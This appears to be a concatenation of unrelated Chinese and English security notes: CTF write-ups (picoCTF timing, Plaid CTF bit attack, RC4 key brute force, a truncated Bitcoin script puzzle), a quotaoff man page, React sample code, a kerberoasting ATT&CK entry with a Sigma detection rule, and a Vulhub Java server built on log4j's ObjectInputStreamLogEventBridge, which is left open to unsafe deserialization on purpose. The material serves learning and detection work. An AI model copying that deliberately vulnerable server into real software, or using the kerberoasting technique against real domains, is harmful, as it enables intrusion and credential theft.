{st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0 write(1, "Solution? ", 10Solution? ) = 10 read(0, 0x5569a8f2d670, 1024) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL} --- +++ killed by SIGALRM +++ Alarm clock ``` We can see that the alarm is set for 5000 uSeconds - not much. In this time, we must evaluate the equation and input the answer back to the program. We can evaluate the equation using `bc`: ```console root@kali:/media/sf_CTFs/pico/Times_Up# equation="Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436)))))" root@kali:/media/sf_CTFs/pico/Times_Up# echo $equation Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) root@kali:/media/sf_CTFs/pico/Times_Up# echo ${equation:11} (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) root@kali:/media/sf_CTFs/pico/Times_Up# echo ${equation:11} | bc -1218050481 ``` Let's use `coproc` to communicate with the program - we'll read a line from the program's `stdout`, send it to `bc`, and write the result to the program's `stdin`. Here's the script: ```bash #!/bin/bash coproc ./times-up read LINE <&${COPROC[0]} echo $(echo ${LINE:11} | bc) >&${COPROC[1]} cat <&${COPROC[0]} ``` Running it on the server: ```console dvdalt@pico-2019-shell1:~$ cd /problems/time-s-up_6_480d53541469436212e30dad5b4ce691 dvdalt@pico-2019-shell1:/problems/time-s-up_6_480d53541469436212e30dad5b4ce691$ coproc ./times-up [1] 1921638 dvdalt@pico-2019-shell1:/problems/time-s-up_6_480d53541469436212e30dad5b4ce691$ read LINE <&${COPROC[0]} dvdalt@pico-2019-shell1:/problems/time-s-up_6_480d53541469436212e30dad5b4ce691$ echo $(echo ${LINE:11} | bc) >&${COPROC[1]} dvdalt@pico-2019-shell1:/problems/time-s-up_6_480d53541469436212e30dad5b4ce691$ cat <&${COPROC[0]} Setting alarm... picoCTF{Gotta go fast. Gotta go FAST. #1626a7fb} Solution? Congrats! Here is the flag! [1]+ Done coproc COPROC ./times-up ```
sec-knowleage
quotaoff === 关闭Linux内核中指定文件系统的磁盘配额功能 ## 补充说明 **quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 ### 语法 ```shell quotaoff(选项)(参数) ``` ### 选项 ```shell -a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制; -g:关闭群组的磁盘空间限制; -u:关闭用户的磁盘空间限制; -v:显示指令执行过程。 ``` ### 参数 文件系统:指定要关闭磁盘配额功能的文件系统。
sec-knowleage
### 小案例(card) ``` import React from 'react' import './App.css' import Card from './Card' class App extends React.Component{ render(){ console.log(this.props) return ( <div className='app'> <Card title='Card title' more={<a href="http://baidu.com">More</a>} > <p>每个人心中都有一团火, 路过的人只看到烟。</p> <p style={{textAlign:'right'}}>——文森特·梵高</p> </Card> </div> ) } } export default App ``` 可复用子组件 ``` import React from 'react' import PropTypes from 'prop-types' class Card extends React.Component{ render(){ return ( <div className='card'> <div className='header'> <h4>{this.props.title}</h4> <div className='more'>{this.props.more}</div> </div> <div className='main'> {this.props.children} </div> </div> ) } } Card.defaultProps = { title:'请输入标题', more:<a href="#">More</a>, children:'请传入内容' } Card.propTypes = { title:PropTypes.string, more:PropTypes.element, children:PropTypes.oneOfType([ PropTypes.object, PropTypes.array, ]) } export default Card ```
sec-knowleage
# 比特攻击 ## 概述 简单地说,就是利用比特位之间的关系进行攻击。 ## 2018 Plaid CTF transducipher 题目如下 ```python #!/usr/bin/env python3.6 import os BLOCK_SIZE = 64 T = [ ((2, 1), 1), ((5, 0), 0), ((3, 4), 0), ((1, 5), 1), ((0, 3), 1), ((4, 2), 0), ] def block2bin(b, length=BLOCK_SIZE): return list(map(int, bin(b)[2:].rjust(length, '0'))) def bin2block(b): return int("".join(map(str, b)), 2) def transduce(b, s=0): if len(b) == 0: return b d, t = T[s] b0, bp = b[0], b[1:] return [b0 ^ t] + transduce(bp, s=d[b0]) def transduceblock(b): return bin2block(transduce(block2bin(b))) def swap(b): l = BLOCK_SIZE // 2 m = (1 << l) - 1 return (b >> l) | ((b & m) << l) class Transducipher: def __init__(self, k): self.k = [k] for i in range(1, len(T)): k = swap(transduceblock(k)) self.k.append(k) def encrypt(self, b): for i in range(len(T)): b ^= self.k[i] b = transduceblock(b) b = swap(b) return b if __name__ == "__main__": flag = bytes.hex(os.urandom(BLOCK_SIZE // 8)) k = int(flag, 16) C = Transducipher(k) print("Your flag is PCTF{%s}" % flag) with open("data1.txt", "w") as f: for i in range(16): pt = int(bytes.hex(os.urandom(BLOCK_SIZE // 8)), 16) ct = C.encrypt(pt) f.write(str((pt, ct)) + "\n") ``` 题目给了 16 组明密文对 - 明文大小 8 个字节 - 密文大小 8 个字节 - 密钥大小也是 8 个字节 我们所需要求解的就是密钥。 可以看到这里主要有两种基本操作 - swap ```python def swap(b): l = BLOCK_SIZE // 2 m = (1 << l) - 1 return (b >> l) | ((b & m) << l) ``` 将给定的数据的高 32 位与低 32 位交换。 - transduce ```python T = [ ((2, 1), 1), ((5, 0), 0), ((3, 4), 0), ((1, 5), 1), ((0, 3), 1), ((4, 2), 0), ] def transduce(b, s=0): if len(b) == 0: return b d, t = T[s] b0, bp = b[0], b[1:] return [b0 ^ t] + transduce(bp, s=d[b0]) ``` 其中, - b 是一个 01 数组,初始时刻大小为 64。 - s 是一个下标。 基本流程如下 1. 根据 s 选择使用 T 的哪个元素,进而将其分为 d 和 t。 2. 将 b 分为两部分,一部分只包含头元素,另一部分包含其它的元素。 3. 将头元素与 t 异或作为当前的头元素,然后继续转换剩下的部分。 其实我们可以将该函数转换为迭代函数 ```python def transduce_iter(b, s=0): ans = [] for c in b: d, t = T[s] ans += [c ^ t] s = d[c] return ans ``` 进而由于每次处理的是列表的第一个元素,其实该函数是可逆的,如下 ```python def invtransduce(b, s=0): if len(b) == 0: return b d, t = T[s] b0, bp = b[0], b[1:] return [b0 ^ t] + transduce(bp, s=d[b0 ^ t]) ``` 下面分析程序的核心流程,首先是生成密钥部分,该加密算法生成了 6 个密钥,每次生成的方法 1. transduce 先前的密钥得到中间值 t 2. 对 t 进行 swap 3. 连续迭代 5 次 ```python def __init__(self, k): self.k = [k] for i in range(1, len(T)): k = swap(transduceblock(k)) self.k.append(k) ``` 加密算法如下,一共迭代 6 轮,基本流程 1. 异或密钥 transduce 2. 交换 ```python def encrypt(self, b): for i in range(len(T)): b ^= self.k[i] b = transduceblock(b) b = swap(b) return b ``` 通过分析程序,可知该加密算法是一个块加密,基本信息如下 - 块大小为 8 个字节 - 轮数为 6 轮 - 加密算法的每轮的基本操作为 transduce 和 swap。 - 密钥的扩展也是与 transduce 和 swap 相关。 更具体的 1. swap 是将 8 字节的高 32 位与低 32 位进行调换。 2. transduce 是对于 8 字节的每个比特,逐比特与某个值进行异或。这个值与 T 有关。 通过进一步地分析,我们可以发现这两个函数都是可逆的。也就是说,如果我们知道了最后的密文,那么我们其实可以将原来的轮数缩短为差不多 5 轮,因为最后一轮的 `transduce` 和`swap` 没有作用了。 我们可以定义如下变量 | 名字 | 含义 | | --------- | --------------------------- | | $k_{i,0}$ | 第 i 轮使用的密钥的高 32 位 | | $k_{i,1}$ | 第 i 轮使用的密钥的低 32 位 | | $d_{i,0}$ | 第 i 轮使用的输入的高 32 位 | | $d_{i,1}$ | 第 i 轮使用的输入的低 32 位 | 由于其中有一个核心操作是 swap,只会操纵高或低 32 位,所以我们可以分为两部分考虑。简化定义如下 - Transduce 简化为 T,这里虽然与源代码里冲突,不过我们可以暂时理解一下。 - Swap 简化为 S。 则每一轮的明密文,密钥如下 | 轮数 | 左侧密钥 | 左侧密文 | 右侧密钥 | 右侧密文 | | ---- | ---------------------- | -------------------------------------- | -------------------- | ----------------------------------- | | 0 | $k_{0,0}$ | $d_{1,0}=T(k_{0,1} \oplus d_{0,1} ,s)$ | $k_{0,1}$ | $d_{1,1}=T(k_{0,0} \oplus d_{0,0})$ | | 1 | $k_{1,0}=T(k_{0,1},s)$ | $d_{2,0}=T(k_{1,1} \oplus d_{1,1} ,s)$ | $k_{1,1}=T(k_{0,0})$ | $d_{2,1}=T(k_{1,0} \oplus d_{1,0})$ | | 2 | $k_{2,0}=T(k_{1,1},s)$ | $d_{3,0}=T(k_{2,1} \oplus d_{2,1} ,s)$ | $k_{2,1}=T(k_{1,0})$ | $d_{3,1}=T(k_{2,0} \oplus d_{2,0})$ | | 3 | $k_{3,0}=T(k_{2,1},s)$ | $d_{4,0}=T(k_{3,1} \oplus d_{3,1} ,s)$ | $k_{3,1}=T(k_{2,0})$ | $d_{4,1}=T(k_{3,0} \oplus d_{3,0})$ | | 4 | $k_{4,0}=T(k_{3,1},s)$ | $d_{5,0}=T(k_{4,1} \oplus d_{4,1} ,s)$ | $k_{4,1}=T(k_{3,0})$ | $d_{5,1}=T(k_{4,0} \oplus d_{4,0})$ | | 5 | $k_{5,0}=T(k_{4,1},s)$ | $d_{6,0}=T(k_{5,1} \oplus d_{5,1} ,s)$ | $k_{5,1}=T(k_{4,0})$ | $d_{6,1}=T(k_{5,0} \oplus d_{5,0})$ | 那么,我们可以逐比特位枚举 k 的高 32 位,同时枚举在进行 T 操作时的可能的 s 状态位,这样就可以获取高 32 位密钥。在进行逐位爆破之后,我们可以从获取两个可能结果 ``` [2659900894, 2659900895] ``` 再根据左边的结果,可以去获取右边可能的结果,利用 2659900894 获取的可能的结果如下 ``` # 第一组明密文对对应的密钥可能太多。 # 第二组一共 6 个。 [2764038144, 2764038145, 2764038152, 2764038153, 2764038154, 2764038155] # 第三组 [2764038144, 2764038145] ``` 然后其实我们就可以手工试一下加密所有的明密文,如果不对,就直接判断错误即可了。这样其实可以很快可以过滤。最后可以发现密钥是 ``` 2659900894|2764038145 ``` 也就是11424187353095200769。也就拿到了 flag。 当然,本题目也可以使用中间相遇的攻击方法,也就是说分别枚举第 0 轮使用的密钥和最后一轮使用的密钥使其在第三轮相遇产生碰撞。 ## 参考 - http://blog.rb-tree.xyz/2018/05/07/plaidctf-2018-transducipher/
sec-knowleage
# LeCrypto (crypto 250) ###ENG [PL](#pl-version) In the task we get the code: ```python #!/usr/bin/env python from random import SystemRandom import hashlib import copy_reg, types class RC4: def __init__(self, message, password): self.state = [None] * 256 self.p = None self.q = None self.message = message self.password = [ord(c) for c in password] self.setKey() def setKey(self): key = self.password self.state = [n for n in range(256)] self.p = self.q = j = 0 for i in range(256): if len(key) > 0: j = (j + self.state[i] + key[i % len(key)]) % 256 else: j = (j + self.state[i]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i] def byteGenerator(self): self.p = (self.p + 1) % 256 self.q = (self.q + self.state[self.p]) % 256 self.state[self.p], self.state[self.q] = self.state[self.q], self.state[self.p] return self.state[(self.state[self.p] + self.state[self.q]) % 256] def encrypt(self): return [ord(p) ^ self.byteGenerator() for p in self.message] def decrypt(self): return "".join([chr(c ^ self.byteGenerator()) for c in self.message]) def _pickle_method(m): if m.im_self is None: return getattr, (m.im_class, m.im_func.func_name) else: return getattr, (m.im_self, m.im_func.func_name) copy_reg.pickle(types.MethodType, _pickle_method) def getRC4From(password, s="", debug=True): if (len(s) == 0): cg = SystemRandom() s = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) h0 = hashlib.md5(password.encode('utf-8')).hexdigest() md5t = "".join([unichr(ord(c)) for c in h0[:10]]) # ib = 16 * (md5t + s) h1 = hashlib.md5(ib.encode('utf-8')).hexdigest() h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf] def encrypt(text, password): crypter = RC4(text, password) enc = crypter.encrypt() enc = "".join([unichr(c) for c in enc]) return enc def leCrypt(text, password, debug=False): theH = {'s': '', 'v': '', 'vH': ''} cg = SystemRandom() v = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) # 16 bytes v = v.encode("utf-8") print('v ', v) (s, key) = getRC4From(password, debug=True) theH['s'] = s theH['v'] = encrypt(v, key) theH['vH'] = encrypt(hashlib.md5(v).digest(), key) theH['enc'] = encrypt(text, key) if debug: print theH return theH ``` And data: ``` {"vH": "\u008c\u00d4\u0000\u00e0\u0005\u00b4\u0096\u00c4\u00ad\u00a9c\u00c3\u00ec/\u00e0t", "s": "*mqZ(dpJMvM)a2y3", "enc": "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r", "v": "]\u0084r\u00d5\u00f7K\u008a4\u00862\u001a\u00a6I\u009d\u0018\u00ba"} ``` RC4 here is implemented fine, no vulnerabilities there. The problem with encryption is in: ```python h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf] ``` The `hf` value returned here is later used as RC4 encryption key for all parameters so this is the value we eventually want to recover. There is no point trying to reverse the algorithm since there is md5 everywhere. But we can see that the final key is md from `h1th = h1[:8] + "00" * 4` which means first 8 bytes of some md5 value (so basically just 4 bytes) concatenated with 4 times `00`. This means we could brute-force those 4 bytes, calculate the resulting key and the test if the decoding output if correct. As correctness check we decided to use `v` because we know the charset for all 16 bytes there - `cg.randrange(32, 126)`. So if we decode the `v` and all characters are in the right range we can assume the key to be a possible match: ```python def decrypt(data, password): crypter = RC4(data, password) enc = crypter.decrypt() return enc def in_charset(decrypted_v): for c in decrypted_v: if not 32 <= ord(c) <= 126: return False return True def worker(data): a, crypted_v = data ac = chr(a) results = [] for b in range(256): bc = chr(b) for c in range(256): cc = chr(c) for d in range(256): h1th = (ac + bc + cc + chr(d)).encode("hex") + "00" * 4 hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() decrypted_v = decrypt(crypted_v, hf) if in_charset(decrypted_v): results.append(hf) return results def crack(): with codecs.open("challenge.txt", "r")as input_file: data = input_file.read() m = eval(data) crypted_v = [ord(c) for c in m['v'].decode("unicode_escape")] print(len(crypted_v)) start = 0 stop = 256 data = [(a, crypted_v) for a in range(start, stop)] result = brute(worker, data) print(result) with codecs.open("output.txt", "a")as output_file: output_file.write(str(result)) if __name__ == '__main__': freeze_support() crack() ``` We run this in paralell and recover all candidate keys. Then we simply run: ```python def main(): flag = "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r".decode( "unicode_escape") crypted = [ord(c) for c in flag] partial = [[]] # data from workers for worker_result in partial: for potential_key in worker_result: print(decrypt(crypted, potential_key) + "\n\n\n\n\n\n") main() ``` And recover the flag for one of the candidate keys. ###PL version W zadaniu dostajemy kod: ```python #!/usr/bin/env python from random import SystemRandom import hashlib import copy_reg, types class RC4: def __init__(self, message, password): self.state = [None] * 256 self.p = None self.q = None self.message = message self.password = [ord(c) for c in password] self.setKey() def setKey(self): key = self.password self.state = [n for n in range(256)] self.p = self.q = j = 0 for i in range(256): if len(key) > 0: j = (j + self.state[i] + key[i % len(key)]) % 256 else: j = (j + self.state[i]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i] def byteGenerator(self): self.p = (self.p + 1) % 256 self.q = (self.q + self.state[self.p]) % 256 self.state[self.p], self.state[self.q] = self.state[self.q], self.state[self.p] return self.state[(self.state[self.p] + self.state[self.q]) % 256] def encrypt(self): return [ord(p) ^ self.byteGenerator() for p in self.message] def decrypt(self): return "".join([chr(c ^ self.byteGenerator()) for c in self.message]) def _pickle_method(m): if m.im_self is None: return getattr, (m.im_class, m.im_func.func_name) else: return getattr, (m.im_self, m.im_func.func_name) copy_reg.pickle(types.MethodType, _pickle_method) def getRC4From(password, s="", debug=True): if (len(s) == 0): cg = SystemRandom() s = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) h0 = hashlib.md5(password.encode('utf-8')).hexdigest() md5t = "".join([unichr(ord(c)) for c in h0[:10]]) # ib = 16 * (md5t + s) h1 = hashlib.md5(ib.encode('utf-8')).hexdigest() h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf] def encrypt(text, password): crypter = RC4(text, password) enc = crypter.encrypt() enc = "".join([unichr(c) for c in enc]) return enc def leCrypt(text, password, debug=False): theH = {'s': '', 'v': '', 'vH': ''} cg = SystemRandom() v = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) # 16 bytes v = v.encode("utf-8") print('v ', v) (s, key) = getRC4From(password, debug=True) theH['s'] = s theH['v'] = encrypt(v, key) theH['vH'] = encrypt(hashlib.md5(v).digest(), key) theH['enc'] = encrypt(text, key) if debug: print theH return theH ``` I dane: ``` {"vH": "\u008c\u00d4\u0000\u00e0\u0005\u00b4\u0096\u00c4\u00ad\u00a9c\u00c3\u00ec/\u00e0t", "s": "*mqZ(dpJMvM)a2y3", "enc": "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r", "v": "]\u0084r\u00d5\u00f7K\u008a4\u00862\u001a\u00a6I\u009d\u0018\u00ba"} ``` Szyfrowanie RC4 jest tu zaimplementowane bezbłędnie, nie ma tam podatności. Problem z szyfrowaniem jest tutaj: ```python h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf] ``` Wartość `hf` zwrócona tutaj jest użyta później jako klucz szyfrowania RC4 dla wszystkich znanych wartości, wiec finalnie chcemy odzyskać ten klucz. Nie ma sensu "odwracanie" tego algorytmu, ponieważ wszędzie mamy nieodwracalne md5. Ale możemy zauważyć że finalny klucz to md5 z `h1th = h1[:8] + "00" * 4` czyli z pierwszych 8 bajtów jakiegoś md5 (czyli de facto tylko 4 bajtów) sklejonych z 4 `00`. To oznacza że możemy brutować te 4 bajty, obliczyć wynikowy klucz za pomocą md5 a potem sprawdzić czy można nim coś odszyfrować. Do sprawdzenia poprawności klucza wybraliśmy zmienną `v` bo znamy charset dla wszystkich 16 bajtów - `cg.randrange(32, 126)`. Więc jeśli dekodując `v` dostaniemy wszystkie znaki w zadanym zasięgu możemy uznać że mamy potencjalny klucz: ```python def decrypt(data, password): crypter = RC4(data, password) enc = crypter.decrypt() return enc def in_charset(decrypted_v): for c in decrypted_v: if not 32 <= ord(c) <= 126: return False return True def worker(data): a, crypted_v = data ac = chr(a) results = [] for b in range(256): bc = chr(b) for c in range(256): cc = chr(c) for d in range(256): h1th = (ac + bc + cc + chr(d)).encode("hex") + "00" * 4 hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() decrypted_v = decrypt(crypted_v, hf) if in_charset(decrypted_v): results.append(hf) return results def crack(): with codecs.open("challenge.txt", "r")as input_file: data = input_file.read() m = eval(data) crypted_v = [ord(c) for c in m['v'].decode("unicode_escape")] print(len(crypted_v)) start = 0 stop = 256 data = [(a, crypted_v) for a in range(start, stop)] result = brute(worker, data) print(result) with codecs.open("output.txt", "a")as output_file: output_file.write(str(result)) if __name__ == '__main__': freeze_support() crack() ``` Uruchamiamy to współbieżnie i odzyskujemy wszystkie klucze kandydujące. Następnie uruchamiamy: ```python def main(): flag = "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r".decode( "unicode_escape") crypted = [ord(c) for c in flag] partial = [[]] # data from workers for worker_result in partial: for potential_key in worker_result: print(decrypt(crypted, potential_key) + "\n\n\n\n\n\n") main() ``` I odczytujemy flagę dla jednego z kluczy kandydujących.
sec-knowleage
package org.vulhub; import java.io.IOException; import java.io.ObjectInputStream; import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge; import org.apache.logging.log4j.core.net.server.TcpSocketServer; public class App { public static void main(String[] args) { TcpSocketServer<ObjectInputStream> myServer = null; try { myServer = new TcpSocketServer<ObjectInputStream>(4712, new ObjectInputStreamLogEventBridge()); } catch (IOException e) { e.printStackTrace(); } myServer.run(); } }
sec-knowleage
# T1558-003-win-kerberosing ## 来自ATT&CK的描述 服务主体名称(SPN)用于唯一标识Windows服务的每个实例。为了启用身份验证,Kerberos要求SPN与至少一个服务登录帐户(专门用于运行服务的帐户)相关。 拥有有效的Kerberos票证授予票证(TGT)的攻击者可以向域控制器(DC)请求任何SPN的一个或多个Kerberos票证授予服务(TGS)服务票证。可以使用RC4算法对这些票证的一部分进行加密,这意味着与SPN相关联的服务帐户的Kerberos 5 TGS-REP etype 23哈希将用作私钥,因此容易受到离线暴力破解攻击可能暴露明文凭据的攻击。 可以使用从网络流量中捕获的服务票证执行相同的攻击。 ## 测试案例 PowerSploit Empire ## 检测日志 windows 安全日志 netflow流量 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ```yml title: kerberos 弱加密 description: 域环境测试 references: https://adsecurity.org/?p=3458 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4769 #kerberos服务票证请求 TicketOptions: 0x40810000 #附加信息>票证选项 TicketEncryptiontype: 0x17 #附加信息>票证加密类型 reduction: - ServiceName: '$*' #服务名称>服务信息 condition: selection and not reduction level: medium ``` ### 建议 暂无 ## 相关TIP [[T1558-003-win-SPN-凭证转储]] ## 参考推荐 MITRE-ATT&CK-T1558-003 <https://attack.mitre.org/techniques/T1558/003> 检测kerberosing活动 <https://adsecurity.org/?p=3458>
sec-knowleage
# BTC * Category: Misc. * 150 Points * Solved by the JCTF Team ## Description > Being the only security researcher in the family, you know that every computer related problem will be headed right your way. From giving mom a recommendation before she buys her new laptop, all the way to recovering uncle Joe's pictures from last year's vacation, which have been encrypted by some crappy ransomware. > > But you won't believe what Joe got himself into this time. He accidentally sent a huge amount of Bitcoin to the wrong address! > > With no one to turn to, you're now Joe's only hope to unlock his coins and get them back. Help him write an unlocking script that will allow him to reclaim his coins! ## Solution We visit the attached website and find details of a transaction transferring 161500.99966998 BTC between two entities. The most significant detail on the page is the following sequence which is marked as a "Pkscript": ``` 7401248801017901ffa101018801027901ffa101018801037901ffa101018801047901ffa101018801057901ffa101018801067901ffa101018801077901ffa101018801087901ffa101018801097901ffa1010188010a7901ffa1010188010b7901ffa1010188010c7901ffa1010188010d7901ffa1010188010e7901ffa1010188010f7901ffa101018801107901ffa101018801117901ffa101018801127901ffa101018801137901ffa101018801147901ffa101018801157901ffa101018801167901ffa101018801177901ffa101018801187901ffa101018801197901ffa1010188011a7901ffa1010188011b7901ffa1010188011c7901ffa1010188011d7901ffa1010188011e7901ffa1010188011f7901ffa101018801207901ffa101018801217901ffa101018801227901ffa101018801237901ffa101018801247901ffa10101888c017c88a820e29c9c180c6279b0b02abd6a1801c7c04082cf486ec027aa13515e4f3884bb6b88018a8601bb88739301de880102798b01608876769393019688757601cc8763006a6701d58601bb8868aa20bed5fe7c6a43a11e4d7dbe4293f6aa2eeb65025b5f78a518fdd7447ed2ccc55e882627446f6d696e696f6e2720697320616e20696d706f7274616e7420646f63756d656e74617279a7143a4e3aedaf36ced1a17af38a73fbc0cda118220e8701ff6d7601609f93016088a820da4ea2a5506f2693eae190d9360a1f31793c98a1adade51d93533a6f520ace1c887601009e697601019e697601029e697601039e697601049e697601059e697601069e697601079e697601089e697601099e6976010a9e6976010b9e6976010c9e6976010d9e6976010e9e6976010f9e697601109e697601119e697601129e697601139e697601149e697601159e697601169e697601179e697601189e697601199e6976011a9e6976011b9e6976011c9e6976011d9e6976011e9e6976011f9e697601209e697601219e697601229e697601239e697601249e697601259e697601269e697601279e697601289e697601299e6976012a9e6976012b9e6976012c9e6976012d9e6976012e9e6976012f9e697601309e697601319e697601329e697601339e697601349e697601359e697601369e697601379e697601389e697601399e6976013a9e6976013b9e6976013c9e6976013d9e6976013e9e6976013f9e697601409e697601419e697601429e697601439e697601449e697601459e697601469e697601479e697601489e697601499e6976014a9e6976014b9e6976014c9e6976014d9e6976014e9e6976014f9e697601509e697601519e697601529e697601539e697601549e697601559e697601569e697601579e697601589e697601599e6976015a9e6976015b9e6976015c9e6976015d9e6976015e9e6976015f9e697601609e697601619e697601629e697601639e697601649e697601659e697601669e697601679e697601689e697601699e6976016a9e6976016b9e6976016c9e6976016d9e6976016e9e6976016f9e697601709e697601719e697601729e697601739e697601759e697601769e697601779e697601789e697601799e6976017a9e6976017b9e6976017c9e6976017d9e6976017e9e6976017f9e697601809e697601819e697601829e697601839e697601849e697601859e697601869e697601879e697601889e697601899e6976018a9e6976018b9e6976018c9e6976018d9e6976018e9e6976018f9e697601909e697601919e697601929e697601939e697601949e697601959e697601969e697601979e697601989e697601999e6976019a9e6976019b9e6976019c9e6976019d9e6976019e9e6976019f9e697601a09e697601a19e697601a29e697601a39e697601a49e697601a59e697601a69e697601a79e697601a89e697601a99e697601aa9e697601ab9e697601ac9e697601ad9e697601ae9e697601af9e697601b09e697601b19e697601b29e697601b39e697601b49e697601b59e697601b69e697601b79e697601b89e697601b99e697601ba9e697601bb9e697601bc9e697601bd9e697601be9e697601bf9e697601c09e697601c19e697601c29e697601c39e697601c49e697601c59e697601c69e697601c79e697601c89e697601c99e697601ca9e697601cb9e697601cc9e697601cd9e697601ce9e697601cf9e697601d09e697601d19e697601d29e697601d39e697601d49e697601d59e697601d69e697601d79e697601d89e697601d99e697601da9e697601db9e697601dc9e697601dd9e697601de9e697601df9e697601e09e697601e19e697601e29e697601e39e697601e49e697601e59e697601e69e697601e79e697601e89e697601e99e697601ea9e697601eb9e697601ec9e697601ed9e697601ee9e697601ef9e697601f09e697601f19e697601f29e697601f39e697601f49e697601f59e697601f69e697601f79e697601f89e697601f99e697601fa9e697601fb9e697601fc9e697601fd9e697601fe9e69758c016188a82006cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e18801cf8601bb88739301d0880102798b0176887676939302013588757601cc8763006a67018b8601bb8868aa20800ae3457a8da20b0d47089c53715054313b4974c28c6af1fefbde1fcb0fdf54887601609f93016088a820a68b412c4282555f15546cf6e1fc42893b7e07f271557ceb021821098dd66c1b888c016888a82006cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e18801d38601bb887393016a880102798b0158887676939302013b88757601cc8763006a6701e48601bb88687601329f93013288a820925a7bf1cc6e3b9a91aba051665a28fbc2fe5261cb6ffaaaf1decb7282252b2288015488014e88014588015488014e88014988 ``` > Bitcoin uses a scripting system for transactions. Forth-like, Script is simple, stack-based, and processed from left to right. It is intentionally not Turing-complete, with no loops. A script is essentially a list of instructions recorded with each transaction that describe how the next person wanting to spend the Bitcoins being transferred can gain access to them. ([Source](https://en.bitcoin.it/wiki/Script)) If we take the pkscript and paste it in the "Assembly" tab of [this online BTC IDE](https://siminchen.github.io/bitcoinIDE/build/editor.html), we get the following script: <details> <summary>Click to expand</summary> ``` OP_DEPTH 24 OP_EQUALVERIFY 01 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 02 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 03 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 04 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 05 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 06 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 07 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 08 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 09 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0a OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0b OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0c OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0d OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0e OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0f OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 10 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 11 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 12 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 13 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 14 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 15 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 16 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 17 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 18 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 19 